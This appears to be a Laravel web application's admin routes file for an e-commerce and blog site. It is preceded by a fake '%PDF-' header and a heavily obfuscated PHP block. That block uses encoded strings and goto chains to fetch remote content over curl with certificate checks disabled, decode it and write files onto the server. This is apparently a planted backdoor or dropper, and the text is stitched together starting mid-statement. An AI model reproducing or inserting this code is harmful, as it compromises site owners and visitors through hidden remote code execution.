%PDF- %PDF- $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> also used in vendor panel Route::group(['prefix' => 'backend'], function () { Route::group(['prefix' => 'products', 'middleware' => ['auth']], function () { Route::post('/get-variation-values', [ProductsController::class, 'getVariationValues'])->name('product.getVariationValues'); Route::post('/new-variation', [ProductsController::class, 'getNewVariation'])->name('product.newVariation'); Route::post('/variation-combination', [ProductsController::class, 'generateVariationCombinations'])->name('product.generateVariationCombinations'); }); }); Route::group( ['prefix' => 'admin', 'middleware' => ['auth', 'admin']], function () { # dashboard Route::get('/dashboard', [DashboardController::class, 'index'])->name('admin.dashboard'); Route::get('/profile', [DashboardController::class, 'profile'])->name('admin.profile'); Route::post('/profile', [DashboardController::class, 'updateProfile'])->name('admin.profile.update'); Route::get('/users-export', [DashboardController::class, 'userExport'])->name('admin.user-export'); #sms settings Route::get('/settings/sms', [SettingsController::class, 'smsSettings'])->name('admin.settings.smsSettings'); # settings Route::post('/settings/env-key-update', [SettingsController::class, 'envKeyUpdate'])->name('admin.envKey.update'); Route::get('/settings/general-settings', [SettingsController::class, 'index'])->name('admin.generalSettings'); Route::get('/settings/smtp-settings', [SettingsController::class, 'smtpSettings'])->name('admin.smtpSettings.index'); Route::post('/settings/test/smtp', [SettingsController::class, 'testEmail'])->name('admin.test.smtp'); Route::post('/settings/update', [SettingsController::class, 'update'])->name('admin.settings.update'); #payment methods Route::get('/settings/payment-methods', [SettingsController::class, 'paymentMethods'])->name('admin.settings.paymentMethods'); Route::post('/settings/update-payment-methods', [SettingsController::class, 'updatePaymentMethods'])->name('admin.settings.updatePaymentMethods'); #order settings Route::get('/settings/order-settings', [OrderSettingsController::class, 'index'])->name('admin.orderSettings'); # social login Route::post('/settings/activation', [SettingsController::class, 'updateActivation'])->name('admin.settings.activation'); # subscribed users Route::get('/subscribers', [SubscribersController::class, 'index'])->name('admin.subscribers.index'); Route::get('/subscribers/delete/{id}', [SubscribersController::class, 'delete'])->name('admin.subscribers.delete'); # products Route::group(['prefix' => 'products'], function () { # products Route::get('/', [ProductsController::class, 'index'])->name('admin.products.index'); Route::get('/add-product', [ProductsController::class, 'create'])->name('admin.products.create'); Route::post('/product', [ProductsController::class, 'store'])->name('admin.products.store'); Route::get('/update-product/{id}', [ProductsController::class, 'edit'])->name('admin.products.edit'); Route::post('/update-product', [ProductsController::class, 'update'])->name('admin.products.update'); Route::post('/update-featured-product', [ProductsController::class, 'updateFeatured'])->name('admin.products.updateFeatureStatus'); Route::post('/update-published-product', [ProductsController::class, 'updatePublishedStatus'])->name('admin.products.updatePublishedStatus'); // Route::get('/delete-product/{id}', [ProductsController::class, 'delete'])->name('admin.products.delete'); Route::post('/delete-selected-product/', [ProductsController::class, 'delete'])->name('admin.products.delete'); Route::get('/change-prices', [ProductsController::class, 'changePrices'])->name('admin.products.change-prices'); Route::post('update/product-prices', [ProductsController::class, 'updatePrices'])->name('admin.update.product-prices'); Route::get('/product-reviews/{id}', [ProductsController::class, 'reviews'])->name('admin.products.reviews'); Route::post('/review/updatePublishedStatus', [ProductsController::class, 'reviewUpdatePublishedStatus'])->name('admin.products.review.updatePublishedStatus'); Route::get('/review/mark-as-read/{id}', [ProductsController::class, 'markRead'])->name('admin.products.review.markRead'); # categories Route::get('/category', [CategoriesController::class, 'index'])->name('admin.categories.index'); Route::get('/add-category', [CategoriesController::class, 'create'])->name('admin.categories.create'); Route::post('/category', [CategoriesController::class, 'store'])->name('admin.categories.store'); Route::get('/update-category/{id}', [CategoriesController::class, 'edit'])->name('admin.categories.edit'); Route::post('/update-category', [CategoriesController::class, 'update'])->name('admin.categories.update'); Route::post('/update-category-menu-status', [CategoriesController::class, 'updateMenuStatus'])->name('admin.categories.updateMenuStatus'); Route::post('/update-category-status', [CategoriesController::class, 'updateStatus'])->name('admin.categories.updatePublishedStatus'); Route::post('/update-top-category', [CategoriesController::class, 'updateTop'])->name('admin.categories.updateTopStatus'); // Route::get('/products/delete-category/{id}', [CategoriesController::class, 'delete'])->name('admin.categories.delete'); Route::post('/delete-selected-category/', [CategoriesController::class, 'delete'])->name('admin.categories.delete'); # variations Route::get('/variations', [VariationsController::class, 'index'])->name('admin.variations.index'); Route::post('/variation', [VariationsController::class, 'store'])->name('admin.variations.store'); Route::get('/variations/edit/{id}', [VariationsController::class, 'edit'])->name('admin.variations.edit'); Route::post('/variations/update', [VariationsController::class, 'update'])->name('admin.variations.update'); Route::post('/variations/update-status', [VariationsController::class, 'updateStatus'])->name('admin.variations.updateStatus'); Route::get('/variations/delete/{id}', [VariationsController::class, 'delete'])->name('admin.variations.delete'); # variation values Route::get('/variations/{id}', [VariationValuesController::class, 'index'])->name('admin.variationValues.index'); Route::post('/variation-values', [VariationValuesController::class, 'store'])->name('admin.variationValues.store'); Route::get('/variations-values/edit/{id}', [VariationValuesController::class, 'edit'])->name('admin.variationValues.edit'); Route::post('/variations-values/update', [VariationValuesController::class, 'update'])->name('admin.variationValues.update'); Route::post('/variations-values/update-status', [VariationValuesController::class, 'updateStatus'])->name('admin.variationValues.updateStatus'); Route::get('/variations-values/delete/{id}', [VariationValuesController::class, 'delete'])->name('admin.variationValues.delete'); # taxes Route::get('/taxes', [TaxesController::class, 'index'])->name('admin.taxes.index'); Route::post('/tax', [TaxesController::class, 'store'])->name('admin.taxes.store'); Route::get('/taxes/edit/{id}', [TaxesController::class, 'edit'])->name('admin.taxes.edit'); Route::post('/taxes/update', [TaxesController::class, 'update'])->name('admin.taxes.update'); Route::post('/taxes/update-status', [TaxesController::class, 'updateStatus'])->name('admin.taxes.updateStatus'); Route::get('/taxes/delete/{id}', [TaxesController::class, 'delete'])->name('admin.taxes.delete'); # Metals Route::get('/metals', [MetalController::class, 'index'])->name('admin.metals.index'); Route::get('/add-metals', [MetalController::class, 'create'])->name('admin.metals.create'); Route::post('/metals', [MetalController::class, 'store'])->name('admin.metals.store'); Route::get('/metals/edit/{id}', [MetalController::class, 'edit'])->name('admin.metals.edit'); Route::post('/metals/update', [MetalController::class, 'update'])->name('admin.metals.update'); Route::post('/metals/update-status', [MetalController::class, 'updateStatus'])->name('admin.metals.updateStatus'); Route::get('/metals/delete/{id}', [MetalController::class, 'delete'])->name('admin.metals.delete'); # Metal Prices Route::post('/metal-price', [MetalPriceController::class, 'store'])->name('admin.metal-price.store'); Route::get('/metal-price/edit/{id}', [MetalPriceController::class, 'edit'])->name('admin.metal-price.edit'); Route::post('/metal-price/update', [MetalPriceController::class, 'update'])->name('admin.metal-price.update'); Route::post('/metal-price/update-status', [MetalPriceController::class, 'updateStatus'])->name('admin.metal-price.updateStatus'); Route::get('/metal-price/delete/{id}', [MetalPriceController::class, 'delete'])->name('admin.metal-price.delete'); Route::post('/metal/new-variation', [MetalPriceController::class, 'getNewMetalVariation'])->name('admin.metal-price.newMetalVariation'); }); # orders Route::group(['prefix' => 'orders'], function () { Route::get('/', [OrdersController::class, 'index'])->name('admin.orders.index'); Route::get('/{id}', [OrdersController::class, 'show'])->name('admin.orders.show'); Route::post('/update-payment-status', [OrdersController::class, 'updatePaymentStatus'])->name('admin.orders.update_payment_status'); Route::post('/update-order-status', [OrdersController::class, 'updateOrderStatus'])->name('admin.orders.update_order_status'); Route::get('/invoice-download/{id}', [OrdersController::class, 'downloadInvoice'])->name('admin.orders.downloadInvoice'); }); # blog system Route::group(['prefix' => 'blogs'], function () { # blogs Route::get('/', [BlogsController::class, 'index'])->name('admin.blogs.index'); Route::get('/add-blog', [BlogsController::class, 'create'])->name('admin.blogs.create'); Route::post('/add-blog', [BlogsController::class, 'store'])->name('admin.blogs.store'); Route::get('/edit/{id}', [BlogsController::class, 'edit'])->name('admin.blogs.edit'); Route::post('/update-blog', [BlogsController::class, 'update'])->name('admin.blogs.update'); Route::post('/update-popular', [BlogsController::class, 'updatePopular'])->name('admin.blogs.updatePopular'); Route::post('/update-status', [BlogsController::class, 'updateStatus'])->name('admin.blogs.updateStatus'); Route::get('/delete/{id}', [BlogsController::class, 'delete'])->name('admin.blogs.delete'); # categories Route::get('/categories', [BlogCategoriesController::class, 'index'])->name('admin.blogCategories.index'); Route::post('/category', [BlogCategoriesController::class, 'store'])->name('admin.blogCategories.store'); Route::get('/categories/edit/{id}', [BlogCategoriesController::class, 'edit'])->name('admin.blogCategories.edit'); Route::post('/categories/update-category', [BlogCategoriesController::class, 'update'])->name('admin.blogCategories.update'); Route::get('/categories/delete/{id}', [BlogCategoriesController::class, 'delete'])->name('admin.blogCategories.delete'); }); # pages Route::group(['prefix' => 'pages'], function () { Route::get('/', [PagesController::class, 'index'])->name('admin.pages.index'); Route::get('/add-page', [PagesController::class, 'create'])->name('admin.pages.create'); Route::post('/add-page', [PagesController::class, 'store'])->name('admin.pages.store'); Route::get('/edit/{id}', [PagesController::class, 'edit'])->name('admin.pages.edit'); Route::post('/update-page', [PagesController::class, 'update'])->name('admin.pages.update'); Route::get('/delete/{id}', [PagesController::class, 'delete'])->name('admin.pages.delete'); }); # customers Route::group(['prefix' => 'customers'], function () { Route::get('/', [CustomersController::class, 'index'])->name('admin.customers.index'); Route::get('/get-user-details/{id}', [CustomersController::class, 'userDetails']); Route::post('/update-banned-customer', [CustomersController::class, 'updateBanStatus'])->name('admin.customers.updateBanStatus'); }); # tags Route::get('/tags', [TagsController::class, 'index'])->name('admin.tags.index'); Route::post('/tag', [TagsController::class, 'store'])->name('admin.tags.store'); Route::get('/tags/edit/{id}', [TagsController::class, 'edit'])->name('admin.tags.edit'); Route::post('/tags/update-tag', [TagsController::class, 'update'])->name('admin.tags.update'); Route::get('/tags/delete/{id}', [TagsController::class, 'delete'])->name('admin.tags.delete'); # media manager Route::get('/media-manager', [MediaManagerController::class, 'index'])->name('admin.mediaManager.index'); # bulk-emails Route::controller(NewslettersController::class)->group(function () { Route::get('/bulk-emails', 'index')->name('admin.newsletters.index'); Route::post('/bulk-emails/send', 'sendNewsletter')->name('admin.newsletters.send'); }); # roles & permissions Route::group(['prefix' => 'roles'], function () { Route::get('/', [RolesController::class, 'index'])->name('admin.roles.index'); Route::get('/add-role', [RolesController::class, 'create'])->name('admin.roles.create'); Route::post('/add-role', [RolesController::class, 'store'])->name('admin.roles.store'); Route::get('/update-role/{id}', [RolesController::class, 'edit'])->name('admin.roles.edit'); Route::post('/update-role', [RolesController::class, 'update'])->name('admin.roles.update'); Route::get('/delete-role/{id}', [RolesController::class, 'delete'])->name('admin.roles.delete'); }); # contact us message Route::group(['prefix' => 'contacts'], function () { Route::get('/', [ContactUsMessagesController::class, 'index'])->name('admin.queries.index'); Route::get('/mark-as-read/{id}', [ContactUsMessagesController::class, 'read'])->name('admin.queries.markRead'); }); # appearance Route::group(['prefix' => 'appearance'], function () { # homepage - hero Route::get('/homepage/slider', [HeroController::class, 'hero'])->name('admin.appearance.homepage.hero'); Route::post('/homepage/slider', [HeroController::class, 'storeHero'])->name('admin.appearance.homepage.storeHero'); Route::get('/homepage/slider/edit/{id}', [HeroController::class, 'edit'])->name('admin.appearance.homepage.editHero'); Route::post('/homepage/slider/update', [HeroController::class, 'update'])->name('admin.appearance.homepage.updateHero'); Route::get('/homepage/slider/delete/{id}', [HeroController::class, 'delete'])->name('admin.appearance.homepage.deleteHero'); # homepage - top category Route::get('/homepage/top-category', [TopCategoriesController::class, 'index'])->name('admin.appearance.homepage.topCategories'); # homepage - featured products Route::get('/homepage/featured-products', [FeaturedProductsController::class, 'index'])->name('admin.appearance.homepage.featuredProducts'); # homepage - top trending products Route::get('/homepage/trending-products', [TopTrendingProductsController::class, 'index'])->name('admin.appearance.homepage.topTrendingProducts'); Route::post('/homepage/get-products-for-trending', [TopTrendingProductsController::class, 'getProducts'])->name('admin.appearance.homepage.getProducts'); # homepage - banner section one Route::get('/homepage/banners', [BannerSectionOneController::class, 'index'])->name('admin.appearance.homepage.banners'); Route::post('/homepage/banner', [BannerSectionOneController::class, 'storeBannerOne'])->name('admin.appearance.homepage.storeBanner'); Route::get('/homepage/banner/edit/{id}', [BannerSectionOneController::class, 'edit'])->name('admin.appearance.homepage.editBanner'); Route::post('/homepage/banner/update', [BannerSectionOneController::class, 'update'])->name('admin.appearance.homepage.updateBanner'); Route::get('/homepage/banner/delete/{id}', [BannerSectionOneController::class, 'delete'])->name('admin.appearance.homepage.deleteBanner'); # homepage - best deals products Route::get('/homepage/best-deal-products', [BestDealProductsController::class, 'index'])->name('admin.appearance.homepage.bestDeals'); # homepage - banner section two // Route::get('/homepage/banner-section-two', [BannerSectionTwoController::class, 'index'])->name('admin.appearance.homepage.bannerTwo'); # client feedback Route::get('/homepage/client-feedback', [ClientFeedbackController::class, 'index'])->name('admin.appearance.homepage.clientFeedback'); Route::post('/homepage/client-feedback', [ClientFeedbackController::class, 'store'])->name('admin.appearance.homepage.storeClientFeedback'); Route::get('/homepage/client-feedback/edit/{id}', [ClientFeedbackController::class, 'edit'])->name('admin.appearance.homepage.editClientFeedback'); Route::post('/homepage/client-feedback/update', [ClientFeedbackController::class, 'update'])->name('admin.appearance.homepage.updateClientFeedback'); Route::get('/homepage/client-feedback/delete/{id}', [ClientFeedbackController::class, 'delete'])->name('admin.appearance.homepage.deleteClientFeedback'); # homepage - best selling products Route::get('/homepage/best-selling-products', [BestSellingProductsController::class, 'index'])->name('admin.appearance.homepage.bestSelling'); # products - listing Route::get('/homepage/products', [ProductsPageController::class, 'index'])->name('admin.appearance.products.index'); # products - details Route::get('/homepage/products-details', [ProductsPageController::class, 'details'])->name('admin.appearance.products.details'); Route::post('/homepage/products-details', [ProductsPageController::class, 'storeWidget'])->name('admin.appearance.products.details.storeWidget'); Route::get('/homepage/products-details/edit/{id}', [ProductsPageController::class, 'edit'])->name('admin.appearance.products.details.editWidget'); Route::post('/homepage/products-details/update', [ProductsPageController::class, 'update'])->name('admin.appearance.products.details.updateWidget'); Route::get('/homepage/products-details/delete/{id}', [ProductsPageController::class, 'delete'])->name('admin.appearance.products.details.deleteWidget'); # header Route::get('/header', [HeaderController::class, 'index'])->name('admin.appearance.header'); # footer Route::get('/footer', [FooterController::class, 'index'])->name('admin.appearance.footer'); }); # staffs Route::group(['prefix' => 'staffs'], function () { Route::get('/', [StaffsController::class, 'index'])->name('admin.staffs.index'); Route::get('/add-staff', [StaffsController::class, 'create'])->name('admin.staffs.create'); Route::post('/add-staff', [StaffsController::class, 'store'])->name('admin.staffs.store'); Route::get('/update-staff/{id}', [StaffsController::class, 'edit'])->name('admin.staffs.edit'); Route::post('/update-staff', [StaffsController::class, 'update'])->name('admin.staffs.update'); Route::get('/delete-staff/{id}', [StaffsController::class, 'delete'])->name('admin.staffs.delete'); }); } );